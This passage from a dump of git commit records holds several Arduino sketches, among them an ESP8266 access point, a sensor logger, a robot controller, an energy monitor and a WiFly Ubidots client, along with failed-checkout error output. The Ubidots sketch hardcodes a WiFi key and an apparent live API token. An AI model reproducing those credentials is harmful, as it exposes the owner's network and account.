IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/* Create a WiFi access point and provide a web server on it. *\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n\n\/* Set these to your desired credentials. *\/\nconst char *ssid = \"ESPap\";\nconst char *password = \"thereisnospoon\";\n\nESP8266WebServer server(80);\n\n\/* Just a little test message. Go to http:\/\/192.168.4.1 in a web browser\n * connected to this access point to see it.\n *\/\nvoid handleRoot() {\n\tserver.send(200, \"text\/html\", \"<h1>You are connected<\/h1>\");\n}\n\nvoid setup() {\n\tdelay(1000);\n\tSerial.begin(115200);\n\tSerial.println();\n\tSerial.print(\"Configuring access point...\");\n\t\/* You can remove the password parameter if you want the AP to be open. *\/\n\tWiFi.softAP(ssid, password);\n\n\twhile (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print(\".\"); }\n\n\tSerial.println(\"done\");\n\tIPAddress myIP = WiFi.softAPIP();\n\tSerial.print(\"AP IP address: \");\n\tSerial.println(myIP);\n\tserver.on(\"\/\", handleRoot);\n\tserver.begin();\n\tSerial.println(\"HTTP server started\");\n}\n\nvoid loop() {\n\tserver.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WiFi\/examples\/WiFiAccessPoint\/WiFiAccessPoint.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"8fec8421d629981977b4fef8feaf4cbc79f05a1e","subject":"First sketch version with NMEA data only","message":"First sketch version with NMEA data only\n","repos":"mrunde\/SenseBox-PerfectCyclingRoads,mrunde\/SenseBox-PerfectCyclingRoads","old_file":"SenseBox-Arduino-Sketch-NMEA\/SenseBox-Arduino-Sketch-NMEA.ino","new_file":"SenseBox-Arduino-Sketch-NMEA\/SenseBox-Arduino-Sketch-NMEA.ino","new_contents":"#include <SoftwareSerial.h>\n#include <SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include \"Barometer.h\"\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n#include <Adafruit_Sensor.h>\n#include \"Adafruit_TSL2591.h\"\n\nconst int LED = 7;\nconst int chipSelect = 4;\nconst int soundSensor = A0;\n\nAdafruit_TSL2591 tsl = Adafruit_TSL2591(2591); \/\/ pass in a number for the sensor identifier (for your use later)\n\n\/\/Barometer variables\nfloat pressure;\nfloat atm;\nBarometer myBarometer;\n\n\/\/Accelerometer variables\nMPU6050 accelgyro;\nI2Cdev I2C_M;\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\nint16_t mx, my, mz;\nfloat Axyz[3];\n\nFile dataFile;\nString dataRow;\nString seperator = \",\";\nString dattim = \"noval\";\nint rowCounter = 1;\n\n\/\/GPS variables\nunsigned char buffer[64]; \/\/ buffer array for data receive over serial port\nint count = 0; \/\/ counter for buffer array\n\nSoftwareSerial ss(2, 3);\n\n\/\/Button variables\nconst int buttonPin = 8;\nint buttonState = 0;\nint lastButtonState = 0;\nint isOn;\n\n\/*\n GPS to 3, 2, 5V and GND.\n Sound to A0.\n Gyro, Light and Barometer to I2C.\n Button to 8.\n LED to 7.\n*\/\n\nvoid setup() {\n Serial.begin(9600);\n Wire.begin();\n \/\/Initialize Accelerometer\n accelgyro.initialize();\n \/\/Serial.println(accelgyro.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n delay(1000);\n\n \/\/Init barometer\n myBarometer.init();\n\n \/\/ Initalize SD card:\n \/\/Serial.print(\"init sd card...\");\n\n if (!SD.begin(chipSelect)) {\n \/\/Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n \/\/Serial.println(F(\"card initialized.\"));\n\n \/\/Pins:\n pinMode(LED, OUTPUT);\n pinMode(soundSensor, INPUT);\n pinMode(buttonPin, INPUT);\n\n \/\/Serial.println(F(FreeRam()));\n dataFile = SD.open(\"test.csv\", FILE_WRITE);\n\n \/\/ If the file opened okay, write to it:\n if (dataFile) {\n \/\/Serial.print(\"Writing to test.txt...\");\n dataFile.println(\"row,NMEA,sound,brightness,acc_x,acc_y,acc_z,altitude\");\n \/\/ close the file:\n dataFile.close();\n \/\/Serial.println(\"done.\");\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(F(\"error opening test.txt\"));\n }\n}\n\nvoid loop() {\n buttonState = digitalRead(buttonPin);\n\n \/\/Serial.println(buttonState);\n if (buttonState != lastButtonState) {\n if (buttonState == HIGH) {\n \/\/buttonPushCounter++;\n Serial.println(F(\"ON\"));\n isOn = 1 - isOn;\n \/\/Serial.print(buttonPushCounter);\n\n } else {\n }\n delay(50);\n }\n lastButtonState = buttonState;\n\n if (isOn == 1) {\n digitalWrite(LED, HIGH);\n bool newData = false;\n\n ss.begin(9600);\n\n \/\/Serial.println(\"starting gps reading\");\n\n \/\/ Parse GPS data for one second and report some key values\n \n if (ss.available()) \/\/ if date is coming from software serial port ==> data is coming from SoftSerial shield\n {\n while (ss.available()) \/\/ reading data into char array\n {\n buffer[count++] = ss.read(); \/\/ writing data into array\n if (count == 64)break;\n }\n Serial.write(buffer, count); \/\/ if no data transmission ends, write buffer to hardware serial port\n writeData();\n clearBufferArray(); \/\/ call clearBufferArray function to clear the stored data from the array\n count = 0; \/\/ set counter of while loop to zero\n }\n\n \n } else {\n digitalWrite(LED, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n Serial.println(F(\"OFF\"));\n }\n\n}\n\nvoid getAccel_Data(void)\n{\n accelgyro.getMotion9(&ax, &ay, &az, &gx, &gy, &gz, &mx, &my, &mz);\n Axyz[0] = (double) ax \/ 16384;\n Axyz[1] = (double) ay \/ 16384;\n Axyz[2] = (double) az \/ 16384;\n}\n\nvoid clearBufferArray() \/\/ function to clear buffer array\n{\n for (int i = 0; i < count; i++)\n {\n buffer[i] = NULL;\n }\n}\n\nvoid writeData()\n{\n \/\/First, get data from accelerometer\n getAccel_Data();\n \n \/\/Save collected data to sd card\n dataFile = SD.open(\"test.csv\", FILE_WRITE);\n\n if (dataFile) {\n \/\/ Serial.print(\"Writing to test.txt...\");\n dataFile.print(rowCounter);\n dataFile.print(seperator);\n dataFile.print((const char *) buffer);\n dataFile.print(seperator);\n dataFile.print(analogRead(soundSensor));\n dataFile.print(seperator);\n dataFile.print(Axyz[0], 2);\n dataFile.print(seperator);\n dataFile.print(Axyz[1], 2);\n dataFile.print(seperator);\n dataFile.print(Axyz[2], 2);\n dataFile.print(seperator);\n dataFile.println(myBarometer.calcAltitude(myBarometer.bmp085GetPressure(myBarometer.bmp085ReadUP())));\n\n \/\/ close the file:\n dataFile.close();\n\n rowCounter = rowCounter + 1;\n Serial.println(F(\"done writing.\"));\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(F(\"error opening file\"));\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SenseBox-Arduino-Sketch-NMEA\/SenseBox-Arduino-Sketch-NMEA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22f637df949860a8b12e0574cb7405c7b41af68e","subject":"Started neopixel experiment arduino code.","message":"Started neopixel experiment arduino code.\n","repos":"dag10\/iDoor","old_file":"code\/arduino\/neopixel_experiment\/neopixel_experiment.ino","new_file":"code\/arduino\/neopixel_experiment\/neopixel_experiment.ino","new_contents":"\/*\n NeoPixel Experiment\n Copyright 2013 Drew Gottlieb\n *\/\n#include <Adafruit_NeoPixel.h>\n\nvoid setup() {\n\n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/arduino\/neopixel_experiment\/neopixel_experiment.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"adc8399a56413775cde9fabef953b5c87b921977","subject":"Update Snake.ino","message":"Update Snake.ino","repos":"Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot","old_file":"Arduino code\/Snake\/Snake.ino","new_file":"Arduino code\/Snake\/Snake.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/Snake\/Snake.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f7579cb72d7ae8fca2355d4456ff4c8815895227","subject":"sketch","message":"sketch\n","repos":"ubidots\/ubidots-arduino-wifly","old_file":"wifly.ino","new_file":"wifly.ino","new_contents":"\/*\n Basic sketch for WiFly shield RN171\n \n This is a basic example to post a value on Ubidots with a simple\n Function \"save_value\".\n \n You need:\n * Arduino 1\n * WiFly Shield RN171\n * WiFly library\n \n Pins' connection\n Arduino WiFly\n 2 <----> TX\n 3 <----> RX\n \n created 20 Aug. 2014\n by Mateo Velez - Metavix\n \n This example code is in the public domain.\n \n *\/\n\/\/-------------------------------------------------------------\n\/\/------------------------------Librarys-----------------------\n\/\/-------------------------------------------------------------\n#include <Arduino.h>\n#include <SoftwareSerial.h>\n#include <WiFly.h>\n\/\/-------------------------------------------------------------\n\/\/---------------------Network Configuration-------------------\n\/\/-------------------------------------------------------------\n\/* Change the AUTH according to your network settings\n If is open change to WIFLY_AUTH_OPEN\n If is WPA1 change to WIFLY_AUTH_WPA1\n If is WPA1_2 change to WIFLY_AUTH_WPA1\n If is WPA2 change to WIFLY_AUTH_WPA1\n*\/\n#define SSID \"Atom$House$Medellin\"\n#define KEY \"atommed2014\"\n#define AUTH WIFLY_AUTH_WPA2_PSK\n\nSoftwareSerial uart(2, 3);\nWiFly wifly(uart);\nunsigned long start_millis = 0;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"------- WIFLY HTTP --------\");\n \n uart.begin(9600);\n if (!wifly.isAssociated(SSID)) {\n while (!wifly.join(SSID, KEY, AUTH)) \n { \n Serial.println(\"Failed to join \" SSID);\n Serial.println(\"Wait 0.1 second and try again...\");\n delay(100);\n }\n wifly.save(); \n }\n}\n\n\n\nvoid loop() {\n int reset = 0;\n \n int valor = analogRead(A0);\n while ((save_value(valor)) < 0) \n {\n reset++;\n if(reset == 10)\n {\n asm volatile (\" jmp 0\"); \n }\n }\n\n\/\/ Uncomment for debug\n\n\/\/ char r;\n\/\/ while (wifly.receive((uint8_t *)&r, 1, 1000) == 1) \n\/\/ { \n\/\/ Serial.print(r);\n\/\/ }\n}\nint save_value(int dato)\n{\n char post_data_buf[32];\n snprintf(post_data_buf, sizeof(post_data_buf), \"{\\\"value\\\": %d}\\r\\n\", dato);\n\n char host[20];\n uint16_t port;\n \n \n if (!wifly.connect(\"things.ubidots.com\", 80)) {\n Serial.println(\"Failed to connect.\\r\\n\");\n return -2;\n }\n \n \/\/ Send request\n char buf[200];\n \/\/dont forget change your id and your token\n snprintf(buf, sizeof(buf), \"POST \/api\/v1.6\/variables\/53beeca07625420bde83ce29\/values HTTP\/1.1\\r\\nContent-Type: application\/json\\r\\nContent-Length: %d\\r\\nX-Auth-Token: CCN8FrVulRYGulPTkbaiR9Myx8qN2o\\r\\nHost: things.ubidots.com\\r\\n\\r\\n\",strlen(post_data_buf));\n wifly.send(buf);\n \n \/\/ Send body\n if (post_data_buf != NULL) {\n wifly.send(post_data_buf);\n }\n wifly.send(\"\\r\\n\");\n return 0;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wifly.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7142645232229c6b055e932aad8aabfad96d97ce","subject":"Add initial Arduino code","message":"Add initial Arduino code\n","repos":"MagnusFlieger\/Arduino","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"\/\/ This will be the code uploaded to the main control Arduino\n\n\/\/ INCLUDES\n#include <Servo.h>\n\n\nServo myservo; \/\/ create servo object to control a servo\n\nint pos = 90; \/\/ variable to store the servo position\nint ByteReceived;\nint Change = 0;\n\n\nvoid setup() {\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n Serial.begin(9600);\n myservo.write(pos);\n}\n\n\nvoid loop() {\n if (Serial.read() != -1) {\n ByteReceived = Serial.read();\n Serial.print(ByteReceived);\n }\n myservo.write(ByteReceived);\n delay(1000);\n ByteReceived = 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f8bb115b11987bf8c3f8a2c43d8cd270f201ad0a","subject":"Create OttoDIY_EasyBluetooth.ino","message":"Create OttoDIY_EasyBluetooth.ino\n\nSimple and Easy sketch for controlling Otto_DIY with the universal bluetooth BlueControl app (https:\/\/play.google.com\/store\/apps\/details?id=com.gundel.bluecontrol&hl=es_419).\r\nYou can either control Otto manually using the arrows, or make Otto play some gestures or enter into Obstacle avoiding mode. \r\nThe app sends characters over bluetooth and this sketch only take each char received and do something with it. You can modify it so it has different behaviour","repos":"OttoDIY\/DIY,OttoDIY\/DIY","old_file":"OttoDIY_EasyBluetooth\/OttoDIY_EasyBluetooth.ino","new_file":"OttoDIY_EasyBluetooth\/OttoDIY_EasyBluetooth.ino","new_contents":"\/\/----------------------------------------------------------------\n\/\/-- Easy Otto\u00b4s sketch controlled by BlueControl Android app. Each button has different functionallity\n\/\/-- The app send a char each time a button is pressed.\n\/\/-- \"E\" button enters obstacle avoidance mode\n\/\/-- Otto basic firmware v2 adapted from Zowi (ottobot.org)https:\/\/github.com\/OttoDIY\/OttoDIY\n\/\/-- CC BY SA\n\/\/-- 04 December 2016\n\/\/-- Adapted Pablo Garc\u00eda pabloeweb@gmail.com 01 March 2017\n\/\/-----------------------------------------------------------------\n#include <Servo.h> \n#include <Oscillator.h>\n#include <US.h>\n#include <Otto.h>\nOtto Otto; \/\/This is Otto!\nbyte dato; \/\/To store the char sent by the app\n\/\/---------------------------------------------------------\n\/\/-- First step: Make sure the pins for servos are in the right position\n\/*\n --------------- \n | O O |\n |---------------|\nYR 3==> | | <== YL 2\n --------------- \n || ||\nRR 5==> ----- ------ <== RL 4\n |----- ------|\n*\/\n #define PIN_YL 2 \/\/servo[2]\n #define PIN_YR 3 \/\/servo[3]\n #define PIN_RL 4 \/\/servo[4]\n #define PIN_RR 5 \/\/servo[5]\n\/*SOUNDS******************\n * S_connection S_disconnection S_buttonPushed S_mode1 S_mode2 S_mode3 S_surprise S_OhOoh S_OhOoh2 S_cuddly \n * S_sleeping S_happy S_superHappy S_happy_short S_sad S_confused S_fart1 S_fart2 S_fart3 \n *\/\n\/*MOVEMENTS LIST**************\n * dir=1---> FORWARD\/LEFT\n * dir=-1---> BACKWARD\/RIGTH\n * T : amount of movement. HIGHER VALUE SLOWER MOVEMENT usually 1000 (from 600 to 1400)\n * h: height of mov. around 20\n jump(steps=1, int T = 2000);\n walk(steps, T, dir);\n turn(steps, T, dir);\n bend (steps, T, dir); \/\/usually steps =1, T=2000\n shakeLeg (steps, T, dir);\n updown(steps, T, HEIGHT);\n swing(steps, T, HEIGHT);\n tiptoeSwing(steps, T, HEIGHT);\n jitter(steps, T, HEIGHT); (small T)\n ascendingTurn(steps, T, HEIGHT);\n moonwalker(steps, T, HEIGHT,dir);\n crusaito(steps, T, HEIGHT,dir);\n flapping(steps, T, HEIGHT,dir);\n\/*GESTURES LIST***************\nOttoHappy OttoSuperHappy OttoSad OttoSleeping OttoFart OttoConfused OttoLove OttoAngry \nOttoFretful OttoMagic OttoWave OttoVictory OttoFail*\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Global Variables -------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool obstacleDetected = false;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Setup ------------------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup(){\n Serial.begin(115200); \/\/setup your bluetooth module to match this baudrate (or change it here) (https:\/\/github.com\/OttoDIY\/OttoDIY)\n \/\/Set the servo pins\n Otto.init(PIN_YL,PIN_YR,PIN_RL,PIN_RR,true);\n Otto.sing(S_connection); \/\/Otto wake up!\n Otto.home();\n delay(50);\n Otto.sing(S_happy); \/\/ a happy Otto :)\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Principal Loop ---------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\nif (Serial.available()) \/\/If something received over bluetooth, store the char\n dato= Serial.read();\n \/\/check the char received\n switch(dato)\n {\/\/if we receive a...\n case 85: \/\/\"U\": Up arrow received\n {\n Otto.walk(2,1000,1); \/\/2 steps FORWARD\n break;\n }\n case 68: \/\/\"D\": Down arrow received\n {\n Otto.walk(2,1000,-1); \/\/2 steps FORWARD\n break;\n }\n case 67: \/\/\"C\": Center button received\n {\n Otto.playGesture(OttoFretful);\n Otto.home();\n Otto.sing(S_sleeping);\n delay(1000);\n break;\n }\n case 76: \/\/\"L\": Left arrow received\n {\n Otto.turn(2,1000,1);\/\/2 steps turning RIGHT \n delay(50);\n break;\n }\n case 82: \/\/\"R\": Right arrow received\n {\n Otto.turn(2,1000,-1);\/\/2 steps turning RIGHT \n delay(50);\n break;\n }\n case 97: \/\/ \"a\" Received\n {\n Otto.moonwalker(3, 1000, 25, 1);\n Otto.home();\n break;\n }\n case 98: \/\/ \"b\" Received\n {\n Otto.bend (1, 2000, 1);\n Otto.home();\n break; \n }\n case 99: \/\/ \"c\" Received\n {\n Otto.ascendingTurn(1, 2000, 22);\n Otto.home();\n break; \n }\n case 100: \/\/ \"d\" Received\n {\n Otto.updown(1, 2000, 22);\n Otto.home();\n break; \n }\n case 101: \/\/ \"e\" Received----OBSTACLE MODE ON!!!! (until a button is pressed in the app)------\n {\n obstacleMode();\n break; \n }\n \/\/\/\/\/\/\/\/\/\/You can add different modes here with the other buttons in the app (f,g,h...)\n}\ndato=0; \/\/clears the incoming data until it receives the next button from app\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Function to avoid obstacles until another key is pressed in the app\nvoid obstacleMode(){\n Otto.sing(S_OhOoh); \n while(!Serial.available())\n {\n obstacleDetector(); \/\/check for obstacle\n if(obstacleDetected){ \n Otto.sing(S_surprise); \n Otto.playGesture(OttoFretful); \n Otto.sing(S_fart3); \n Otto.walk(2,1300,-1); \n Otto.turn(3,1000,-1); \n delay(50); \n obstacleDetector(); \n } \n else{ \n Otto.walk(2,1000,1); \n obstacleDetector(); \n }\n }\n Otto.home();\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Function to read distance sensor & to actualize obstacleDetected variable\nvoid obstacleDetector(){\n int distance = Otto.getDistance();\n if(distance<15){\n obstacleDetected = true;\n }else{\n obstacleDetected = false;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OttoDIY_EasyBluetooth\/OttoDIY_EasyBluetooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1faf3a8613f461b2bd0cdf32186b83faa77bce7d","subject":"implement tachometer display + boilerplate","message":"implement tachometer display + boilerplate\n","repos":"darrenwee\/gyro-efis,darrenwee\/gyro-efis","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/darrenwee\/gyro-efis.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"45730cfed986333da7e6d8bff418fa573769aa1c","subject":"Create ver2.ino","message":"Create ver2.ino","repos":"Electroscholars\/LineFollower","old_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/ver2.ino","new_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/ver2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c65ef5ff89cccd61eea581952104ff7b5267e3ff","subject":"Create LeoShieldCT1234.ino","message":"Create LeoShieldCT1234.ino\n\nSelect CT4 with #define sensitive or CT1 without this define","repos":"pieman64\/ESPproMon","old_file":"Leonardo\/LeoShieldCT1234.ino","new_file":"Leonardo\/LeoShieldCT1234.ino","new_contents":"\/*\n LeoShieldCT1234.ino from:\n https:\/\/github.com\/openenergymonitor\/emontx-shield\/blob\/master\/firmware\/Shield_CT1234_Voltage_SerialOnly\/Shield_CT1234_Voltage_SerialOnly.ino\n EmonTx CT123 Voltage Serial Only example \n Part of the openenergymonitor.org project\n Licence: GNU GPL V3 \n Author: Trystan Lea\n*\/\n#define leo \/\/ Leonardo second serial is Serial1 for TTL\n\/\/#define sensitive \/\/ means CT4 high accuracy, comment out for CT1\n\n#include \"EmonLib.h\"\n\n\/\/ Create instances for each CT channel\n\/\/EnergyMonitor ct1,ct2,ct3,ct4;\n#ifdef sensitive\n EnergyMonitor ct4;\n#else\n EnergyMonitor ct1;\n#endif\n\n\/\/ On-board emonTx LED\nconst int LEDpin = 9; \n\nvoid setup() \n{\n Serial.begin(9600);\n \/\/while (!Serial) {} \/\/ wait for serial port to connect. Needed for Leonardo only\n \n Serial.println(\"emonTX Shield CT123 Voltage Serial Only example\"); \n Serial.println(\"OpenEnergyMonitor.org\");\n Serial1.begin(9600); \/\/ start TTL\n \/\/ Calibration factor = CT ratio \/ burden resistance = (100A \/ 0.05A) \/ 33 Ohms = 60.606\n \/\/ct1.current(1, 60.606);\n \/\/ct2.current(2, 60.606); \n \/\/ct3.current(3, 60.606);\n \/\/ct4.current(4, 60.606); \n \n #ifdef sensitive\n ct4.current(4, 60.606);\n #else\n ct1.current(1, 60.606); \/\/ range of 58.18 to 63.02 for shield and default x with range 86.35 \u2013 95.45 emonTx\n #endif\n \n\n \n \/* (ADC input, calibration, phase_shift) \/\/ use CalVRef.ino sketch to get READVCC_CALIBRATION_CONST 1115000L for Leonardo\n ct1.voltage(0, 300.6, 1.7); \n ct2.voltage(0, 300.6, 1.7); \n ct3.voltage(0, 300.6, 1.7);\n ct4.voltage(0, 300.6, 1.7);\n *\/\n \/\/ct1.voltage(0, 268.8, 1.25); \/\/ phase 1.7 default is calculated by comparing real and apparent with 100% PF device \n \/\/ct2.voltage(0, 265.8, 1.25); \n \/\/ct3.voltage(0, 265.8, 1.25); \/\/ 268 97 per https:\/\/learn.openenergymonitor.org\/electricity-monitoring\/ctac\/calibration\n \/\/ct4.voltage(0, 265.8, 1.25);\n\n #ifdef sensitive\n ct4.voltage(0, 268.8, 1.25);\n #else\n ct1.voltage(0, 268.8, 1.25);\n #endif \n \n \/\/ Setup indicator LED\n pinMode(LEDpin, OUTPUT); \n digitalWrite(LEDpin, HIGH); \n}\n\nvoid loop() \n{ \n \/\/ Calculate all. No.of crossings, time-out \n \/\/ct1.calcVI(20,2000); \n \/\/ct2.calcVI(20,2000);\n \/\/ct3.calcVI(20,2000);\n \/\/ct4.calcVI(20,2000);\n\n #ifdef sensitive\n ct4.calcVI(20,2000);\n #else\n ct1.calcVI(20,2000); \n #endif \n \n \/\/ Print power \n \/\/Serial.print(ct1.realPower); \n \/\/Serial.print(\" \"); \n \/\/Serial.print(ct2.realPower);\n \/\/Serial.print(\" \"); \n \/\/Serial.print(ct3.realPower);\n \/\/Serial.print(\" \"); \n \/\/Serial.print(ct4.realPower);\n \/\/Serial.print(\" \"); \n\n #ifdef sensitive\n Serial.print(ct4.realPower);\n Serial.print(\" \"); \n Serial.print(ct4.apparentPower);\n Serial.print(\" \"); \n Serial.print(ct4.powerFactor);\n Serial.print(\" \"); \n Serial.print(ct4.Irms); \n Serial.print(\" \"); \n Serial.print(ct4.Vrms); \n Serial1.print(String(ct4.realPower, 3) + \",\" + String(ct4.apparentPower, 3) + \",\" + String(ct4.powerFactor, 2) + \",\" + String(ct4.Irms, 4) + \",\" + String(ct4.Vrms, 3) + \"\\n\");\n #else\n Serial.print(ct1.realPower);\n Serial.print(\" \"); \n Serial.print(ct1.apparentPower);\n Serial.print(\" \"); \n Serial.print(ct1.powerFactor);\n Serial.print(\" \"); \n Serial.print(ct1.Irms); \n Serial.print(\" \"); \n Serial.print(ct1.Vrms); \n Serial1.print(String(ct1.realPower, 3) + \",\" + String(ct1.apparentPower, 3) + \",\" + String(ct1.powerFactor, 2) + \",\" + String(ct1.Irms, 4) + \",\" + String(ct1.Vrms, 3) + \"\\n\");\n #endif \n\n Serial.println();\n \n \/\/ Available properties: ct1.realPower, ct1.apparentPower, ct1.powerFactor, ct1.Irms and ct1.Vrms\n delay(1500);\n \/\/delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Leonardo\/LeoShieldCT1234.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7ad876d3da39c7facb5019c98b7ccc4cfb837e6c","subject":"Add Pico4_BRKWS01 pass-through","message":"Add Pico4_BRKWS01 pass-through\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Pico4_BRKWS01\/Pico4_BRKWS01.ino","new_file":"Pico4_BRKWS01\/Pico4_BRKWS01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"96b0680e7353684ba5b54d707a242faf4ba84a0d","subject":"Added simple code example.","message":"Added simple code example.\n","repos":"GIPdA\/ZetaRF,GIPdA\/ZetaRF","old_file":"examples\/ZetaRFTxRx\/ZetaRFTxRx.ino","new_file":"examples\/ZetaRFTxRx\/ZetaRFTxRx.ino","new_contents":"\/*\n * Zeta RF Getting Started Code Example.\n * Basic example on how to send messages back and forth between two modules.\n *\/\n\n#include <ZetaRF.h>\n\n\/\/ Zeta modules transmit messages using fixed size packets, define here the max size you want to use\n#define ZETARF_PACKET_LENGTH 16\n\nZetaRF zeta(10, 9, 8); \/\/ Pins: SPI CS, Shutdown, IRQ\n\nchar data[ZETARF_PACKET_LENGTH] = \"Hello World!\";\nbool transmitting = false;\n\n\nvoid setup()\n{\n Serial.begin(115200);\n delay(1000);\n \n Serial.println(\"Starting Zeta TxRx...\");\n\n \/\/ Initialize Zeta module, specifing channel and packet size\n zeta.begin(2, ZETARF_PACKET_LENGTH);\n\n \/\/ Print some info about the chip\n \/*const Si4455_PartInfo &pi = zeta.readPartInfo();\n Serial.println(\"----------\");\n Serial.print(\"Chip rev: \"); Serial.println(pi.CHIPREV);\n Serial.print(\"Part : \"); Serial.println(pi.PART.U16);\n Serial.print(\"PBuild : \"); Serial.println(pi.PBUILD);\n Serial.print(\"ID : \"); 